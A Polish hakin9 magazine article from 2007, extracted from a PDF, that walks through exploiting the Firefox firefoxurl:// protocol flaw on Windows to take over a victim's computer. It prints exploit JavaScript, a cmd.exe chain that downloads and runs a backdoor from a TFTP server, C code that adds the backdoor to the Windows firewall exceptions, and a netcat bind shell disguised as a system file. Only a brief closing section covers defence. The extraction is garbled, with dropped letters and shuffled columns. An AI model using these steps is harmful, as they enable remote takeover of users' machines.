Niebezpieczny Firefox.pdf

(411 KB) Pobierz
52037301 UNPDF
Niebezpieczny Firefox
Atak
Konrad Zuwała
stopień trudności
Przeglądarka Mozilli zyskuje sobie coraz większą popularność.
Wielu użytkowników wybrało ją ze względu na bezpieczeństwo,
które oferuje, wydajny silnik Gecko czy kilka udoskonaleń, które
już na stałe zagościły w przeglądarkach. Czy jednak Firefox jest
tak bezpieczny, za jakiego jest uważany?
parę lat. Swoją nazwę, Firefox, uzyskała
w lutym 2004. Zjednywała sobie coraz
większe rzesze użytkowników, by teraz stać się
de facto drugą – po Internet Explorerze – prze-
glądarką na rynku. Jednak 10 lipca 2007 roku od-
kryta została luka, która umożliwia uruchomie-
nie dowolnego programu w systemie Windows
w kontekście Mozilli Firefox, z prawami użytkow-
nika aktualnie korzystającego z przeglądarki.
liwiał uszkodzenie pamięci, co w połączeniu
z techniką przepełnienia bufora sprawiało, że
potencjalny intruz miał możliwość uruchomie-
nia własnego kodu na komputerze oiary. Tak-
że protokoły tworzone przez Firefoksa były przy-
czyną wielu krytycznych luk związanych z bez-
pieczeństwem. I właśnie jeden z nich powoduje
ostatnią lukę – irefoxurl:// .
Krótko o Firefoksie,
czyli przegląd błędów
Mozilla Firefox – mimo, iż zyskała sobie po-
wszechną opinię niezwykle bezpiecznego na-
rzędzia nie ustrzegła się błędów, których konse-
kwencją były często poważne luki w zabezpie-
czeniach. Oczywiście nie ma w tym nic nadzwy-
czajnego, albowiem oprogramowanie ma to do
siebie, że tworzą je ludzie, a ci nie są nieomyl-
ni. Co ciekawe, nie wszystkie dziury zostały za-
łatane (na stronie secunia.com 6 z 14 ma status
Unpatched ). Co psuło się w tej przeglądarce?
Nie radziła sobie ona z obsługą modelu DOM,
co było przyczyną błędu umożliwiającego omi-
nięcie zabezpieczeń i zmianę danych wyświe-
tlanych w przeglądarce. Silnik JavaScript umoż-
Z artykułu dowiesz się
• jak skompromitować system użytkownika
z przeglądarką Mozilla Firefox, działający
w środowisku Windows,
• jak zabezpieczyć się przed tego typu atakiem.
Co powinieneś wiedzieć
• znać podstawy JavaScriptu,
• umieć pisać aplikacje sieciowe w środowisku
Windows,
• znać podstawy WinAPI,
• umieć administrować systemami Windows
z wykorzystaniem wiersza poleceń.
2
hakin9 Nr 12/2007
www.hakin9.org
P rzeglądarka Mozilli liczy sobie już ładnych
52037301.022.png 52037301.023.png 52037301.024.png 52037301.025.png
Niebezpieczny Firefox
FirefoxURL
Mozilla Firefox korzysta z silnika Gec-
ko. Silnik ten, oprócz przetwarzania
stron internetowych, spełnia też in-
ne istotne zadanie – zarządza inter-
fejsem użytkownika przeglądarki. Do
tego celu przeznaczony jest odrębny
protokół Mozilli – irefoxurl:// . Uchwyt
do tego protokołu jest rejestrowany
w rejestrze systemu Windows, tak,
jak jest to pokazane na Listingu 1.
Zatem, gdy wykonamy polecenie w
rodzaju: irefoxurl://xxx , przeglądarka
zostanie wywołana w wierszu poleceń:
C:\Program Files\Mozilla\Firefox.exe
-url „xxx” -requestPending . Błąd ten
występuje jedynie w Firefoksie w sys-
temie Windows, a wersja przeglądar-
ki, w której go odkryto, to 2.0.0.4. Dla-
czego tylko Windows? Otóż do wyko-
nania złośliwego kodu konieczna jest
obecność przeglądarki Internet Explo-
rer, albowiem nie dokonuje ona spraw-
dzenia wpisywanego łańcucha pod
kątem obecności znaków specjalnych
(& itp.), przez co możliwe jest wysła-
nie tak skonstruowanego żądania. Na
systemach uniksowych nie mamy In-
ternet Explorera, nie mamy też moż-
liwości wywołania protokołu Firefoksa
z jakiejkolwiek innej aplikacji, co sku-
tecznie blokuje nam możliwość działa-
nia. Mozilla obecna na Linuksie nie bę-
dzie więc obiektem naszego ataku.
Opisywana luka pozwala na
uruchomienie dowolnego programu
w kontekście np. Chrome , który jest
odpowiedzialny za wygląd przeglą-
darki. Intruz może więc uruchomić
za pomocą specjalnie spreparowa-
nej strony dowolny program na kom-
puterze oiary, np. cmd.exe , czyli po-
włokę systemu Windows. Może też
wykonać cały ciąg komend korzysta-
jąc ze znaków && oznaczających wy-
konanie następnego polecenia, gdy
poprzednie zakończy się sukcesem.
Tak więc ciąg poleceń w rodzaju: uru-
chom powłokę && pobierz Backdoor &&
omiń FirewallWindows && uruchom
Backdoor pozwoli intruzowi uzyskać
zdalny dostęp do komputera oiary,
omijając przy tym irewall systemu
Windows. Przykładowy backdoor mo-
że otwierać powłokę ( cmd.exe ) na
porcie wybranym przez intruza i ocze-
kiwać na jego połączenie...
winniśmy dodać aplikację backdoora
do listy wyjątków zapory. Jeśli bardzo
chcemy, możliwe jest nawet dodanie
naszej aplikacji do listy usług ( servi-
ces ) – tak, aby uruchamiała się razem
z systemem operacyjnym.
Powstają przy tym dwa proble-
my: jak przemycić tak skomplikowa-
ne zapytanie oraz w jaki sposób ścią-
gnąć pliki na komputer użytkownika.
Ale po kolei.
Nasze działania musimy rozpo-
cząć od przygotowania kodu Java-
Script, który pozwoli nam spreparo-
wać odpowiednią stronę internetową,
zawierającą nasz exploit. Co powinna
zawierać taka strona? Otóż sam kod
nie jest skomplikowany: jedyne co na-
leży zrobić, to wywołać z poziomu
JavaScriptu irefoxurl w kontekście
jakiegoś rozszerzenia Firefoksa – np.
Chrome, na którym skupimy się w na-
szym exploicie.
Jak widać na Listingu 2. wywołu-
jemy protokół Firefoksa, irefoxurl:// ,
następnie inicjujemy proces potomny,
którego zadaniem jest wywołanie pro-
gramu cmd.exe . Kod JavaScript korzy-
sta z wewnętrznego interfejsu Mozil-
li Firefox, z interfejsu procesów Mozil-
li (więcej na ten temat w ramce W Sie-
ci ). Co oznaczają te wszystkie cyfry
w kodzie poprzedzone znakiem % ? Otóż
jest to Unicode – kodujemy znaki spe-
cjalne w ten sposób, aby odróżniały
się nieco od kodu JavaScript (tam też
mamy cudzysłów, apostrof, itp., więc
stosowanie tych znaków mogłoby do-
prowadzić do opacznej interpretacji
skryptu przez przeglądarkę. Dodat-
kowo zabezpiecza nas to przed kon-
trolą wpisywanego tekstu, albowiem
Preparujemy
odpowiednią stronę
Pierwszym krokiem, jaki należy wy-
konać, jest spreparowanie odpo-
wiedniej strony i namówienie oiary,
aby weszła na nią używając przeglą-
darki Internet Explorer. Tak, Internet
Explorer, albowiem gdy napotka on
odniesienie irefoxurl:// , wywoła Mo-
zillę Firefox w odpowiednim kontek-
ście, uruchamiając przy okazji pro-
gram cmd.exe na komputerze oiary
i jednocześnie pomijając sprawdze-
nie żądania pod kątem występowa-
nia znaków specjalnych. Zastanówmy
się najpierw, jakie działania powin-
na podjąć nasza strona po uzyska-
niu dostępu do powłoki. Z pewnością
powinna w jakiś sposób przetransfe-
rować przygotowany przez nas back-
door na dysk oiary, następnie aplika-
cja ta powinna zostać uruchomiona.
No i nie zapominajmy o ominięciu ire-
walla systemu Windows – blokuje on
domyślnie połączenia przychodzą-
ce na komputer oiary, tak więc po-
Listing 1. Klucz protokołu Firefoxa w rejestrze Windows.
[HKEY_CLASSES_ROOT\FirefoxURL\shell\open\command\@]C:\PROGRA~1\MOZILL~2\FIREFOX.EXE -url “%1″ -requestPending
Listing 2. Kod przykładowego exploita, wywołującego program cmd.exe na komputerze użytkownika
irefoxurl:test% 22 % 20 -chrome% 20 %
22javascript:C = Components.classes ; I = Components.interfaces ; ile = C%5B%
27 @mozilla.org / ile / local ; 1 % 27 %5D.createInstance%28I.nsILocalFile% 29 ; ile.initWithPath% 28 %
27C:% 27 +String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 % 29 +%27Windows%
27 +String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 % 29 +%27System32%
27 +String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 % 29 +%27cmd.exe% 27 %
29 ; process = C%5B% 27 @mozilla.org / process / util ; 1 % 27 %5D.createInstance%28I.nsIProcess%
29 ; process.init%28ile% 29 ; process.run%28true%252c%7B%7D%252c0% 29 ;
www.hakin9.org
hakin9 Nr 12/2007
3
 
52037301.001.png 52037301.002.png
 
Atak
w niektórych sytuacjach kod może zo-
stać rozpoznany jako złośliwy, co za-
pobiegnie jego wykonaniu). Aby przy-
gotować odpowiedni kod, należy naj-
pierw dokładnie przemyśleć działanie
exploita. W pierwszej kolejności wi-
nien on uruchomić powłokę, następ-
nie za pomocą protokołu tftp pobrać
aplikację backdoora i program mo-
dyikujący rejestr (dodanie do wyjąt-
ków irewalla Windows), po czym ko-
nieczne jest uruchomienie obu apli-
kacji. Dlaczego wybór w kwestii prze-
syłania plików padł na protokół tftp?
Otóż jest on niezwykle prostym, ba-
zującym na UDP protokołem. Obsługa
programu tftp.exe jest bardzo intuicyj-
na, dzięki czemu maksymalnie skróci-
my długość naszego zapytania. Na Li-
stingu 3. widać inalną wersję wywoła-
nia cmd.exe .
Jak widać z Listingu 3. musimy
być posiadaczami serwera tftp – wy-
starczy ściągnąć darmowy tftp-se-
rver dla systemu Windows bądź za-
instalować odpowiednią aplikację do-
stępną dla Linuksa. Mamy zatem go-
towy plan działania, jednak najpierw
musimy przygotować odpowiednie
programy – modifyReg.exe , dodający
backdoor do listy wyjątków zapory
Windows oraz win32srv.exe – właści-
wą aplikację odpowiadającą za nasz
dostęp do komputera oiary.
połączenia przychodzące (nie kontro-
luje ona ruchu wychodzącego). Aby
program sieciowy mógł działać, mo-
żemy go dodać do tzw. listy wyjątków
– czyli zestawienia programów, któ-
re nie są przez zaporę kontrolowane
i mogą przyjmować dowolne połącze-
nia na wybranych portach. W jaki jed-
nak sposób sprawić, aby nasza apli-
kacja znalazła się na liście wyjątków?
Z pomocą przychodzi nam rejestr
Windows, gdzie zapisane są wszyst-
kie informacje o koniguracji kompute-
ra, w tym również o zaporze.
Lista wyjątków zapory jest w rze-
czywistości kluczem rejestru, ścieżka
dostępu do autoryzowanych aplikacji
jest pokazana na Listingu 4.
Po otwarciu tego klucza ujrzymy
wszystkie programy, które znajdu-
ją się w wyjątkach zapory. Naszym
celem jest więc umieszczenie nowej
wartości, typu REG_SZ , której nazwa
będzie odpowiadała ścieżce dostępu
do backdoora (czyli C:\WINDOWS\
system32\win32srv.exe ), a wartość
pokryje się z nazwą z jednym tyl-
ko wyjątkiem – znajdzie się tam sło-
wo enabled . To wszystko będzie za-
daniem aplikacji modifyReg.exe – za
pomocą funkcji WinAPI zmieni ona re-
jestr systemu. Posłuży nam do tego
funkcja RegistryCreateKeyEx .
Żeby przekonać się o skuteczno-
ści programu, można za pomocą pro-
gramu regedit odnaleźć odpowiedni
klucz lub po prostu wybrać menu Za-
pory z Panelu Sterowania i sprawdzić
listę wyjątków. Program win32srv.exe
jest poza kontrolą. Oczywiście, uważ-
ny administrator dostrzeże nieznaną
aplikację na liście wyjątków, co w po-
łączeniu z pewną wiedzą o zarządza-
nym systemie doprowadzi do usunię-
cia naszego backdoora. Jednak więk-
szość użytkowników po ujrzeniu cze-
goś w rodzaju win32srv.exe , czegoś
co wygląda na ważny plik systemo-
wy, postanowi w imię świętego spo-
koju zostawić ten program.
Co jednak zrobić w sytuacji, gdy
użytkownik używa innej aplikacji niż
wbudowany w jądro systemu Windows
irewall? Przecież na rynku aż roi się od
tego typu rozwiązań. Może to znaczą-
co utrudnić nasz atak, ale tylko w czę-
ści przypadków. Otóż niektóre zapory
korzystają również z listy wyjątków i-
rewalla Windows, dopuszczając ruch
sieciowy dla programów, które dodane
są jako wyjątki tejże aplikacji. Oczywi-
ście dotyczy to tylko pewnej grupy roz-
wiązań, znaczna część programów
iltrujących pakiety używa tylko i wy-
łącznie własnych baz danych, co blo-
kuje możliwość ich prostego ominię-
cia. Jednak z pomocą przychodzi nam
znów WinAPI – można po prostu „pod-
czepić” się pod proces aplikacji, która
ma możliwość korzystania z Internetu.
Autor nie będzie się na ten temat rozpi-
sywać, albowiem doskonale wyjaśnia
tę kwestię artykuł z hakin9 nr 3/2005,
zatytułowany Omijanie irewalli osobi-
stych w Windows . Nawet najlepszy i-
rewall nie może stanąć nam na prze-
szkodzie.
Backdoor
Ostatnim krokiem potrzebnym do po-
wodzenia operacji jest skonstruowa-
nie aplikacji backdoora. Powinien on
otwierać powłokę ( cmd.exe ) na wy-
branym przez nas porcie i w razie na-
dejścia połączenia przekierowywać
standardowe wejście, wyjście i stru-
mień błędów do stworzonego gniaz-
da – tak, abyśmy otrzymali coś w ro-
dzaju sesji telnetu . Tyle, że bez po-
trzeby znajomości hasła.
Można w tym miejscu pokusić się
o napisanie samemu takiego progra-
Omijamy irewall
Windows
Abyśmy mieli możliwość zdalnego
połączenia z komputerem, na którym
zainstalujemy nasz backdoor, musi-
my najpierw ominąć irewall – w prze-
ciwnym wypadku wszelkie przychodzą-
ce połączenia zostaną zablokowane.
Rozpocznijmy od zrozumienia obsługi
tegoż irewalla. Zapora systemu Win-
dows standardowo blokuje wszystkie
Listing 3. Finalne wywołanie programu cmd.exe.
cmd.exe „cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe”
Listing 4. Dostęp do autoryzowanych aplikacji zapory Windows poprzez rejestr.
HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProile\
AuthorizedApplications\List.
4
hakin9 Nr 12/2007
www.hakin9.org
52037301.003.png
 
52037301.004.png
 
52037301.005.png
 
52037301.006.png 52037301.007.png 52037301.008.png
 
52037301.009.png
 
Niebezpieczny Firefox
mu, jednak z pomocą przychodzi nam
znany program netcat. Potrai on na-
słuchiwać połączenia przychodzące-
go na zadanym porcie, by następnie
przekierować wyjście, wejście oraz
strumień błędów dowolnego pro-
gramu (w naszym wypadku jest to
cmd.exe ). Dodatkowo zastosowanie
netcata – jako sprawdzonego narzę-
dzia – pozwoli nam uniknąć wszel-
kich niespodziewanych problemów
implementacyjnych. Tak więc ściąga-
my netcata dla Windows NT, zmienia-
my jego nazwę na win32srv.exe , a na-
stępnie umieszczamy na naszym ser-
werze ftp. Musimy nieco zmodyiko-
wać nasze inalne wywołanie – mia-
nowicie programowi win32srv.exe po-
dać trzeba w wierszu poleceń pew-
ne argumenty: przede wszystkim nu-
mer portu, na którym ma nasłuchiwać
oraz aplikację, którą winien do niego
przekierować.
Przeanalizujmy Listing 6. urucha-
miamy netcat na porcie 1234. Opcja
-l mówi mu, że ma oczekiwać na po-
łączenia, -e cmd.exe oznacza prze-
kierowanie cmd.exe na port 1234,
a -L każe mu w razie przerwania sesji
oczekiwać na następne połączenia.
Mamy gotową aplikację backdo-
ora, program omijający irewall oraz
koncepcję spreparowania strony. Na-
leży więc skleić to wszystko razem.
”naszKod”> , można też utworzyć np.
przycisk, który po kliknięciu go wy-
woła nasz spreparowany skrypt. War-
to zwrócić uwagę na kodowanie cu-
dzysłowów przy wywołaniu cmd.exe .
Używamy konstrukcji \ ” (czyli w Unico-
de %5C%22). W zależności od wer-
sji JavaScript (czyli od wersji prze-
glądarki) konstrukcja ta może zadzia-
łać lub nie – w niektórych przypad-
kach znak \ jest niezbędny, nieraz zaś
może okazać się nadmiarowy. Należy
zatem sprawdzić obydwie możliwości.
W przypadku, gdy Unicode nas nie ra-
tuje, można także posłużyć się Java-
Scriptowym String.fromCharCode() .
Po spreparowaniu strony musimy
oczywiście umieścić na naszym ser-
werze tftp odpowiednie pliki oraz za-
rejestrować IP oiary (można je spra-
wdzić np. w logach serwera Apache
lub za pomocą prostego kodu PHP).
Po wykonaniu wszystkich kroków
Łączymy elementy
układanki
Na początku utwórzmy inalną wer-
sję strony. Znaki specjalne (cudzysło-
wy, apostrofy, angielskie & ) powinny być
zakodowane Unicode'm – tak, aby omi-
nąć zabezpieczenia związane z par-
sowaniem tego typu wyrażeń.
Kod zawarty na Listingu 7. jest tym,
który umieszczamy na stronie. Moż-
na go wkleić do sekcji <body onload=
Listing 5. Kod programu modifyReg
#include <windows.h>
#include <string.h>
int WINAPI WinMain ( HINSTANCE hInstance , HINSTANCE hPrevInstance , LPSTR lpCmdLine , int nShowCmd ) {
LONG registryOperationStatus ;
HKEY backdoorKeyHandle ;
//Opis funkcji: http://msdn2.microsoft.com/en-us/library/ms724844.aspx
# deine BACKDOOR_KEY "SYSTEM \\ CurrentControlSet \\ Services \\ SharedAccess \\ Parameters \\ FirewallPolicy \\
StandardProile \\ AuthorizedApplications \\ List"
RegCreateKeyEx ( HKEY_LOCAL_MACHINE ,
BACKDOOR_KEY ,
0 ,
NULL ,
REG_OPTION_NON_VOLATILE ,
KEY_WRITE ,
NULL ,
& backdoorKeyHandle ,
NULL );
// if(registryOperationStaus!=ERROR_SUCCESS)
// exit(0);
RegSetValueEx ( backdoorKeyHandle ,
"C: \\ WINDOWS \\ system32 \\ win32srv.exe" ,
0 ,
REG_SZ ,
"C: \\ WINDOWS \\ system32 \\ win32srv.exe:*:Enabled" ,
strlen ( "C: \\ WINDOWS \\ system32 \\ win32srv.exe:*:Enabled" )
);
return 0 ;
}
Listing 6. Program netcat (win32srv.exe) wraz z odpowiednimi opcjami
cmd.exe „cd c:\WINDOWS\system32\ && tftp -i GET ourTftpServer.com/modifyReg.exe && tftp
-i GET ourTftpServer.com/win32srv.exe && modifyReg.exe && win32srv.exe -l -p1234 -d -e cmd.exe –L ”
www.hakin9.org
hakin9 Nr 12/2007
5
 
52037301.010.png 52037301.011.png 52037301.012.png
 
Atak
oraz połączeniu się z oiarą na porcie
1234 powinniśmy ujrzeć znak zachę-
ty Windows: C:> .
W Sieci
Analiza zdarzenia – jak
się zabezpieczyć?
Nasz atak udał się z kilku powodów.
Przede wszystkim furtką do naszego
komputera okazała się luka w prze-
glądarce. Jednak nawet mimo istnie-
nia tego błędu jesteśmy w stanie za-
bezpieczyć się przed podobnymi ata-
kami. I nie powiem w tym miejscu nic
rewolucyjnego, albowiem metoda jest
niezwykle prosta i chroni przed więk-
szością prób modyikacji rejestru i pli-
ków systemowych. Otóż wystarczy ko-
rzystać z konta użytkownika z ograni-
czeniami oraz systemu plików NTFS.
W przypadku, gdy intruz uzyska na-
sze uprawnienia podczas gdy korzy-
stamy z konta administratora, może
on do woli modyikować rejestr i pliki
systemowe, dzięki czemu jest w stanie
ominąć zaporę Windows. Jednak gdy
nasze konto jest ograniczone, nie bę-
dzie mógł zainstalować oprogramowa-
nia typu backdoor, albowiem zablokuje
go irewall. Nie zmienia to faktu, iż po-
tencjalny intruz może wykonać szko-
dliwe operacje w kontekście naszego
użytkownika, takie jak skasowanie pli-
ków z katalogu domowego. Na to jest
tylko jedna rada – nie można wchodzić
na nieznane, podejrzane strony, które
często są nam przysyłane przez ko-
munikatory czy pocztę elektronicz-
http://larholm.com/2007/07/10/internet-explorer-0day-exploit/ – proof of concept
exploita
http://msdn2.microsoft.com/en-us/library/ms724844.aspx – opis funkcji RegCre-
ateKeyEx
http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/
en-us/tftp.mspx?mfr=true – opis polecenia tftp dla systemu Windows XP
http://www.vulnwatch.org/netcat/ – netcat dla Windows
ną. Pozostaje mieć nadzieję, że wy-
soka świadomość zagrożeń interne-
towych uchroni Czytelnika przed tego
typu atakami.
wać Windows lub po prostu lubi-
my ten system, dobór przeglądar-
ki wydaje się być w dobie wszech-
obecnego Internetu kwestią kluczo-
wą. Czy warto rezygnować z Mozilli?
Moim skromnym zdaniem, zdecydo-
wanie nie. Na uwagę zasługuje fakt,
że mimo, iż wykrywane są w niej lu-
ki związane z bezpieczeństwem, są
one równie szybko naprawiane po-
przez opublikowanie kolejnej wersji
(opisywana podatność została usu-
nięta w wersji 2.0.0.5). Jesteśmy
więc narażeni na atak przez relatyw-
nie krótki okres czasu. Poza tym, gdy
korzystamy z Internetu w pełni świa-
domi zagrożeń, stosujemy się do re-
guł bezpieczeństwa – wtedy nie ma-
my się czego obawiać. Cieszmy się
więc dobrem Internetu, surfując po
jego stronach niczym innym, jak Mo-
zillą Firefox.
Używać czy też nie, oto
jest pytanie
Po zobaczeniu, jak prostym jest de
facto przejęcie kontroli nad kompu-
terem użytkownika Mozilli Firefox w
systemie Windows, nasuwa się py-
tanie, czy używanie Mozilli jest do-
brym pomysłem? Przecież przeglą-
darka ta nie jest tak bezpieczna, jak-
by się mogło wydawać przeciętne-
mu użytkownikowi komputera, któ-
ry wiedzę czerpie głównie od zna-
jomych lub z mało specjalistycznych
portali. Bardziej świadomy internau-
ta prędzej czy później postawi so-
bie pytanie dotyczące bytu Firefok-
sa na jego komputerze. Oczywiście
jeśli używamy systemu Linux, pro-
blem dla nas nie istnieje. Jednak kie-
dy z jakichś powodów musimy uży-
Podsumowanie
Opisywana podatność pozwala na
uruchomienie praktycznie dowolne-
go kodu na komputerze użytkowni-
ka, co, jak zostało pokazane w arty-
kule, może mieć przykre konsekwen-
cje. Pozostaje tylko mieć nadzieję,
że Czytelnik będzie szerokim łukiem
omijał strony internetowe, które ktoś
nieznajomy podesłał mu drogą elek-
troniczną. Kto wie, co czai się po dru-
giej stronie. l
Listing 7. Kod JavaScript, który należy umieścić w inalnej wersji strony
irefoxurl:test%22%20-chrome%20% 22javascript:C=Components.cla
sses;I=Components.interfaces;ile=C%5B%
27 @mozilla.org / ile / local ; 1 % 27 %5D.createInstance%28I.nsILocalFile% 29 ; ile.init
WithPath% 28 %
27C:% 27 +String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 % 29 +%27Windows%
27 +String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 % 29 +%27System32%
27 +String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 % 29 +%27cmd.exe%5C%22
cd
c:+String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 %
29WINDOWS+String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 %
29system32+String.fromCharCode% 2892 % 29 +String.fromCharCode% 2892 % 29 % 26 % 26
tftp
-i GET ourTftpServer.com / modifyReg.exe % 26 % 26 tftp -i GET ourTftpServer.com /
win32srv.exe %
26 % 26 modifyReg.exe % 26 % 26 win32srv.exe -l -p1234 -L -d -e cmd.exe%5C% 22 27 %
29 ; process = C%5B% 27 @mozilla.org / process / util ; 1 % 27 %5D.createInstance%28I.nsIP
rocess%
29 ; process.init%28ile% 29 ; process.run%28true%252c%7B%7D%252c0% 29 ;
O autorze
Autor zajmuje się bezpieczeństwem
aplikacji internetowych oraz szeroko
rozumianą ochroną systemów kompu-
terowych. W wolnych chwilach progra-
muje (głównie C/C++, PHP) oraz za-
rządza portalem internetowym. Kontakt
z autorem: kzuwala@poczta.onet.pl
6
hakin9 Nr 12/2007
www.hakin9.org
52037301.013.png
 
52037301.014.png
 
52037301.015.png
 
52037301.016.png 52037301.017.png 52037301.018.png
 
52037301.019.png 52037301.020.png 52037301.021.png
 
Zgłoś jeśli naruszono regulamin